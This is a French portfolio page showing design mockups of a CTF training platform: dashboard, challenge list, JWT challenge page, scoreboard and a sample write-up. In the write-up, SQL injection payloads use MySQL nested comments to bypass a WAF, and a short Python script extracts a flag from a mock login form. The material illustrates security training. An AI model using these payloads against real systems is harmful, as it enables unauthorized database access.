ATCHAHOUE

DESTIN

0%

Retour aux projets
Cyber2025

CyberArena

Plateforme complète de Capture The Flag avec challenges dynamiques multi-catégories, environnements sandboxés Docker, classement temps réel et système de scoring avancé.

Client

Centre de formation cybersécurité

Stack

Next.jsDockerPythonRedisWebSocket

Fonctionnalités

Challenges dynamiques
Sandboxes Docker
Scoring RT
Multi-catégories

Infos

CatégorieCyber
Année2025
Écrans5
Technologies5
Maquettes
5 écrans

Les noms de domaine affichés sont purement illustratifs. Par souci de confidentialité, les vrais domaines des projets ne peuvent être divulgués.

01Dashboard
desktop
cyberarena.io/dashboard

Dashboard

Winter CTF 2025 — En cours

🔴 LIVE14:32:18

SCORE

2,450

#3

CHALLENGES RÉSOLUS

18/42

43%

FIRST BLOODS

3

Top 5%

ÉQUIPE

CyberElite

4 membres

CLASSEMENT

#3

/128 teams

Progression du score

Début6h12hMaintenant

Par catégorie

Web5/8750 pts
Crypto4/7550 pts
Pwn3/8450 pts
Reverse3/7350 pts
Forensics2/6200 pts
OSINT1/6150 pts

Résolutions récentes

13:45SQLi MasterWeb🩸 FIRST
Alice+200
12:30RSA Weak KeysCrypto
Marc+150
11:15Buffer Overflow 101Pwn
Alice+100
10:02Hidden MessageForensics
Léa+100
09:48XSS PlaygroundWeb🩸 FIRST
Thomas+150

Top 5 — Classement live

#1HackTheBox Elite
24 solves3100 pts
#2Binary Ninjas
21 solves2800 pts
#3CyberElite← Vous
18 solves2450 pts
#4Kernel Panic
17 solves2200 pts
#5NullPointers
16 solves2050 pts
02Challenges
desktop
cyberarena.io/challenges

Challenges

Difficulté ▾
TousWebCryptoPwnReverseForensicsOSINTMisc
Web
🩸

SQLi Master

Medium200 pts
42 solvesRésolu
Web
🩸

XSS Playground

Easy150 pts
58 solvesRésolu
Web

JWT Forgery

Hard300 pts
18 solvesNon résolu
Web

SSRF Chain

Hard350 pts
12 solvesNon résolu
Crypto

RSA Weak Keys

Easy150 pts
45 solvesRésolu
Crypto

AES Oracle

Medium250 pts
22 solvesRésolu
Crypto

ECC Attack

Expert400 pts
8 solvesNon résolu
Pwn

Buffer Overflow 101

Easy100 pts
65 solvesRésolu
Pwn

Heap Exploit

Hard350 pts
11 solvesNon résolu
Pwn

Format String

Medium250 pts
24 solvesRésolu
Reverse

Binary Maze

Medium200 pts
30 solvesRésolu
Reverse

Malware Analysis

Hard300 pts
15 solvesRésolu
03Challenge détail
desktop
cyberarena.io/challenges/jwt-forgery

Challenges › Web › JWT Forgery

WebHard300 pts

JWT Forgery

18 solves • Créé par @CryptoMaster • Aucun first blood de votre équipe

DESCRIPTION

Le serveur d'authentification utilise des JWT pour gérer les sessions. Trouvez une vulnérabilité dans l'implémentation et forgez un token admin pour accéder au flag.

# Target

https://jwt-forge.cyberarena.ctf:8443

 

# Endpoints

POST /api/login

GET /api/admin/flag

JWTAuthenticationAlgorithm Confusion

INDICES

Hint 1-50 pts
Hint 2-100 pts

SOUMETTRE LE FLAG

Format: CTF{flag_ici} • 3 tentatives restantes aujourd'hui

STATISTIQUES

Solves18 / 128 teams
First bloodHackTheBox Elite
Temps moyen2h 15m
Taux de réussite14%

SOLVERS RÉCENTS

Binary NinjasIl y a 1h
Kernel PanicIl y a 2h
NullPointersIl y a 3h
ByteForceIl y a 5h

FICHIERS

docker-compose.yml
1.2 Ko
public_key.pem
456 B
04Scoreboard
desktop
cyberarena.io/scoreboard

Scoreboard

🔴 LIVE128 équipes • 42 challenges

Progression Top 5

— #1 HTB Elite— #2 Binary— #3 CyberElite
0h6h12h18h24h
#ÉQUIPESCORESOLVESWEBCRYPTOPWNREVFORENSICSOSINT🩸
1HackTheBox Elite 3100247554215
2Binary Ninjas 2800216443223
3CyberElite ← Vous2450185433213
4Kernel Panic 2200175333211
5NullPointers 2050164333212
6ByteForce 1900154323210
7Pwn2Win 1750143332211
8ShellStorm 1600133232210
9CryptoKings 1500122422111
10OverflowX 1400113222110
05Write-up
desktop
cyberarena.io/writeups/sqli-master

Write-ups › Web › SQLi Master

WebMedium200 pts

SQLi Master — Write-up

AL

Alice — CyberElite

🩸 First Blood • Résolu en 45 min

Reconnaissance

Le challenge présente un formulaire de login classique sur le port 8080. En inspectant les headers de réponse, on identifie un backend PHP avec MySQL.

# Scan initial

$ curl -v http://sqli-master.ctf:8080/login

 

# Headers intéressants

X-Powered-By: PHP/8.1

Server: Apache/2.4

Analyse de la vulnérabilité

Le paramètre username est vulnérable à une injection SQL basée sur le temps (time-based blind). Le WAF filtre les mots-clés classiques mais ne gère pas les commentaires imbriqués.

# Payload de test

username: admin' /*!AND*/ 1=1-- -

password: anything

 

# Réponse: 302 redirect → dashboard

# Confirmation de l'injection

Exploitation

En utilisant UNION SELECT avec le contournement du WAF, on extrait la table 'flags' :

# Extraction du flag

username: ' /*!UNION*/ /*!SELECT*/ 1,flag,3 FROM flags-- -

 

# Script automatisé

import requests

 

url = "http://sqli-master.ctf:8080/login"

payload = {"username": "' /*!UNION*/..."}

r = requests.post(url, data=payload)

print(r.text) # CTF{sql_1nj3ct10n_m4st3r}

FLAG

CTF{sql_1nj3ct10n_m4st3r}

Leçons apprises

Toujours tester les commentaires MySQL imbriqués (/*!...*/)
Les WAF basés sur regex sont contournables avec l'encodage
L'utilisation de prepared statements aurait empêché l'attaque
sqliwebmysqlwaf-bypass
♡ 24💬 8
Projet suivantShieldOps